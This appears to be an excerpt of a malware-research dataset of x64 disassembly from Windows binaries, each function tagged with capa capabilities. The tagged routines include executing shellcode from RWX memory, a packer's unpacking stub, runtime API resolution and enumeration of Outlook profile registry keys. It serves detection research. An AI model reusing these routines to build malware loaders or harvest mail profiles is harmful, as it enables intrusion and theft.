joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001880
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rsi, rcx
mov edi, edx
mov r9d, 0x40
mov edx, edx
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x14000193e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.VirtualAlloc_failed:
mov ebx, eax
call fcn.140004450
mov edx, ebx
mov rcx, rax
call fcn.1400019f0
mov dl, 0xa
mov rcx, rax
mov rdi, rax
call fcn.140001bd0
mov rcx, qword [rdi]
xor ebx, ebx
movsxd rcx, dword [rcx + 4]
test byte [rcx + rdi + 0x10], 6
jne 0x140001907
mov rcx, qword [rcx + rdi + 0x48]
mov rdx, qword [rcx]
call qword [rdx + 0x68]
mov ecx, 4
cmp eax, 0xffffffff
cmove ebx, ecx
mov rax, qword [rdi]
movsxd rcx, dword [rax + 4]
add rcx, rdi
test ebx, ebx
je 0x14000192c
mov edx, dword [rcx + 0x10]
or edx, ebx
cmp qword [rcx + 0x48], 0
jne 0x140001924
or edx, 4
xor r8d, r8d
call fcn.140001250
xor al, al
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.1400075f0
call rbx
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov al, 1
add rsp, 0x20
pop rdi
ret

Function at 0x14000d9d8
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.14000d848
Function at 0x140012c77
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140023ad0]
jne 0x14000a68a
rol rcx, 0x10
test cx, 0xffff
jne 0x14000a686
repz ret
ror rcx, 0x10
jmp 0x140012bd0
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140025fd0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x1400260c8]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140012c55
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140025fd0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140012c77
mov rax, qword [rsp + 0x88]
mov qword [0x1400260c8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140026068], rax
mov rax, qword [0x1400260c8]
mov qword [0x140025f40], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140026050], rax
mov dword [0x140025f30], 0xc0000409
mov dword [0x140025f34], 1
mov rax, qword [0x140023ad0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140023ad8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140025fc8], eax
mov ecx, 1
call fcn.140013978
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001e408]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140025fc8], 0
jne 0x140012cfe
mov ecx, 1
call fcn.140013978
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140014954
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140023ad0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.14000d168
xor ebx, ebx
cmp qword [0x140026548], rbx
mov rdi, rax
jne 0x140014a67
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x140014b3e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140014b3e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140026548], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140026550], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140026558], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140026568], rax
test rax, rax
je 0x140014a5e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140026560], rax
jmp 0x140014a6e
mov rax, qword [0x140026560]
jmp 0x140014a75
mov rax, qword [0x140026560]
mov r11, qword [0x140026568]
cmp rax, rdi
je 0x140014adc
cmp r11, rdi
je 0x140014adc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140026568]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x140014adc
test rax, rax
je 0x140014adc
call rsi
test rax, rax
je 0x140014ad6
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140014ad6
test byte [rsp + 0x40], 1
jne 0x140014adc
bts ebp, 0x15
jmp 0x140014b1c
mov rcx, qword [0x140026550]
cmp rcx, rdi
je 0x140014b1c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140014b1c
call rax
mov rbx, rax
test rax, rax
je 0x140014b1c
mov rcx, qword [0x140026558]
cmp rcx, rdi
je 0x140014b1c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140014b1c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140026548]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x140014b3e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x140014b40
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000a670
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14005d220
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14005d22d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14005d23d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14005d225
lea eax, [rcx + 1]
jmp 0x14005d24b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14005d25e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14005d244
sub eax, 3
jb 0x14005d27e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14005d2cd
sar eax, 1
movsxd rbp, eax
jb 0x14005d2b4
jmp 0x14005d28c
add ebx, ebx
jne 0x14005d28a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005d2b4
inc ecx
add ebx, ebx
jne 0x14005d29a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x14005d2b4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14005d2ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14005d29c
add ecx, 2
jmp 0x14005d2b9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.14005d1e2
jmp 0x14005d22d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x3e800
mov dl, 0xd
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14005d31d
cmp rsi, rcx
jae 0x14005d325
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14005d304
cmp al, 0x8f
ja 0x14005d304
cmp byte [rsi - 2], 0xf
je 0x14005d30a
sub al, 0xe8
cmp al, 1
ja 0x14005d2ee
cmp rsi, rcx
jae 0x14005d325
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14005d2f4
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14005d325
lodsb al, byte [rsi]
jmp 0x14005d304
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x5b000]
mov eax, dword [rdi]
or eax, eax
je 0x14005d382
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x5d000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14005d332
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14005d37c
mov qword [rbx], rax
add rbx, 8
jmp 0x14005d352
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14005d3bc
cmp al, 0xef
ja 0x14005d3ae
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14005d38e
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14005d39d
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x217]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.14005d43b], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.14005d43b
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14005d42b
sub rsp, 0xffffffffffffff80
jmp 0x140038dbc
Function at 0x140001200
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
xor esi, esi
mov qword [rcx + 0x18], 0xf
mov qword [rcx], rsi
mov ebp, r8d
mov qword [rcx + 0x10], rsi
mov r14, rdx
mov rbx, rcx
mov edi, esi
test r8d, r8d
je 0x14000146a
mov ecx, esi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r14 + 1]
lea r14, [r14 + 1]
mov byte [rsp + rcx + 0x20], al
dec ebp
movzx r13d, byte [rsp + 0x22]
inc rcx
movzx r15d, byte [rsp + 0x21]
inc edi
movzx r12d, byte [rsp + 0x20]
cmp rcx, 3
jne 0x140001333
movzx eax, r12b
movzx ecx, r12b
shr al, 2
and cl, 3
mov byte [rsp + 0x24], al
mov rdi, rsi
shl cl, 4
movzx eax, r15b
shr al, 4
add cl, al
movzx eax, r13b
mov byte [rsp + 0x25], cl
movzx ecx, r15b
and cl, 0xf
shr al, 6
shl cl, 2
add cl, al
movzx eax, r13b
and al, 0x3f
mov byte [rsp + 0x26], cl
mov byte [rsp + 0x27], al
nop word [rax + rax]
cmp qword [0x14000a060], 0x10
lea rcx, [0x14000a048]
movzx eax, byte [rsp + rdi + 0x24]
cmovae rcx, qword [0x14000a048]
mov rdx, qword [rbx + 0x18]
movzx r9d, byte [rax + rcx]
mov rcx, qword [rbx + 0x10]
cmp rcx, rdx
jae 0x14000131d
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x140001312
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], sil
jmp 0x140001325
mov rcx, rbx
call fcn.140001640
inc rdi
cmp rdi, 4
jl 0x1400012d0
mov edi, esi
mov rcx, rsi
test ebp, ebp
jne 0x140001250
test edi, edi
je 0x14000146a
movsxd rax, edi
cmp rax, 3
jge 0x140001372
jae 0x14000148a
mov byte [rsp + rax + 0x20], sil
inc rax
cmp rax, 3
jl 0x14000134c
movzx r13d, byte [rsp + 0x22]
movzx r15d, byte [rsp + 0x21]
movzx r12d, byte [rsp + 0x20]
movzx eax, r12b
and r12b, 3
shr al, 2
mov byte [rsp + 0x24], al
movzx eax, r15b
shr al, 4
and r15b, 0xf
shl r12b, 4
add r12b, al
shl r15b, 2
movzx eax, r13b
mov byte [rsp + 0x25], r12b
shr al, 6
and r13b, 0x3f
add r15b, al
mov byte [rsp + 0x27], r13b
lea eax, [rdi + 1]
mov byte [rsp + 0x26], r15b
movsxd rbp, eax
test eax, eax
jle 0x14000141d
nop
cmp qword [0x14000a060], 0x10
lea rcx, [0x14000a048]
movzx eax, byte [rsp + rsi + 0x24]
cmovae rcx, qword [0x14000a048]
mov rdx, qword [rbx + 0x18]
movzx r9d, byte [rax + rcx]
mov rcx, qword [rbx + 0x10]
cmp rcx, rdx
jae 0x14000140d
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x140001402
mov rax, qword [rbx]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140001415
mov rcx, rbx
call fcn.140001640
inc rsi
cmp rsi, rbp
jl 0x1400013c0
cmp edi, 3
jge 0x14000146a
mov eax, 3
sub eax, edi
mov edi, eax
nop dword [rax + rax]
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
cmp rcx, rdx
jae 0x140001459
lea rax, [rcx + 1]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x140001451
mov rax, qword [rbx]
mov word [rax + rcx], 0x3d
jmp 0x140001464
mov r9b, 0x3d
mov rcx, rbx
call fcn.140001640
sub rdi, 1
jne 0x140001430
mov rbp, qword [rsp + 0x70]
mov rax, rbx
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
call fcn.140004588
int3
Function at 0x140001ea0
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rbp + 0x170], rax
mov rdi, rcx
mov dword [rsp + 0x68], 0xff
xor r14d, r14d
mov esi, r14d
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
lea r9d, [r14 + 8]
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftOffice16.0OutlookProfilesOutlook9375CFF0413111d3B88A00104B2A6676
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140002049
xor edx, edx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x140002049
mov dword [rsp + 0x68], 0x1fe
inc esi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], 7
mov word [rsp + 0x40], r14w
lea rax, [rsp + 0x70]
mov rdx, 0xffffffffffffffff
nop
inc rdx
cmp word [rax + rdx*2], 0
jne 0x140001f70
lea rcx, [rsp + 0x40]
cmp rdx, 7
ja 0x140001fa3
mov qword [rsp + 0x50], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
lea rdx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memmove
mov word [rsp + rbx + 0x40], r14w
jmp 0x140001fae
lea r9, [rsp + 0x70]
call fcn.140003e30
nop
mov rdx, qword [rdi + 8]
cmp rdx, qword [rdi + 0x10]
je 0x140001ff0
mov qword [rdx], r14
mov qword [rdx + 0x10], r14
mov qword [rdx + 0x18], r14
movups xmm0, xmmword [rsp + 0x40]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rdx + 0x10], xmm1
mov qword [rsp + 0x50], r14
mov edx, 7
mov qword [rsp + 0x58], rdx
mov word [rsp + 0x40], r14w
add qword [rdi + 8], 0x20
jmp 0x140002002
lea r8, [rsp + 0x40]
mov rcx, rdi
call fcn.140003850
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14000203b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002036
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002042
call fcn.1400049a8
mov edx, esi
jmp 0x140001f0e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140004460
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x1400029c0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je 0x1400029e8
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140002a0e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140002a10
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140002a69
test ecx, ecx
jle 0x140002a49
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140002a69
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140002a69
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret

Function at 0x140002a90
Capabilities:
Read file on windows

Disassembly:
push rbp
push rsi
push r14
sub rsp, 0x30
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140002ab2
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
cmp qword [rcx + 0x68], 0
je 0x140002ac8
add rsp, 0x30
pop r14
pop rsi
pop rbp
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x28], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x140002ae4
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140002ae6
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140002b22
mov qword [rsp + 0x20], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x20]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x140002bbe
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x140002b5d
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x140002b9e
nop word [rax + rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x140002bbe
cmp rbx, rax
ja 0x140002b70
test rbx, rbx
je 0x140002bbe
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
sub rbp, rbx
mov rbx, qword [rsp + 0x28]
mov rax, rbp
add rsp, 0x30
pop r14
pop rsi
pop rbp
ret
Function at 0x140002fe0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14000300d
xor eax, eax
jmp 0x14000316a
mov rdx, qword [rcx + 0x40]
mov rax, qword [rdx]
test rax, rax
je 0x140003038
mov rdx, qword [rcx + 0x58]
movsxd r8, dword [rdx]
add r8, rax
cmp rax, r8
jae 0x140003038
call qword [sym.imp.MSVCP140.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void____ptr64]
mov byte [rax], dil
mov eax, edi
jmp 0x14000316a
cmp qword [rcx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14000315d
mov r8, qword [rcx + 0x18]
lea rax, [rcx + 0x70]
cmp qword [r8], rax
jne 0x14000307b
mov rdx, qword [rcx + 0x90]
mov rcx, qword [rcx + 0x88]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x1400030a6
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003162
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003115
sub eax, 1
je 0x140003115
cmp eax, 2
jne 0x14000315d
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140003162
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140003143
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14000315d
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140003162
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140004460
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x1400033d0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x14000a008]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x1400034a3
cmp byte [rcx + 0x71], 0
je 0x1400034a3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x14000349f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140003464
sub eax, 1
je 0x140003468
cmp eax, 2
jne 0x14000349f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004460
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140003496
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14000349f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14000344c
xor al, al
jmp 0x14000344c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.140004460
add rsp, 0x60
pop rbx
ret

Function at 0x140004fb4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004ffe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004ffe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004ffe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004ffe
cmp dword [rcx + 0x84], 0xe
jbe 0x140004ffe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005000
xor al, al
add rsp, 0x28
ret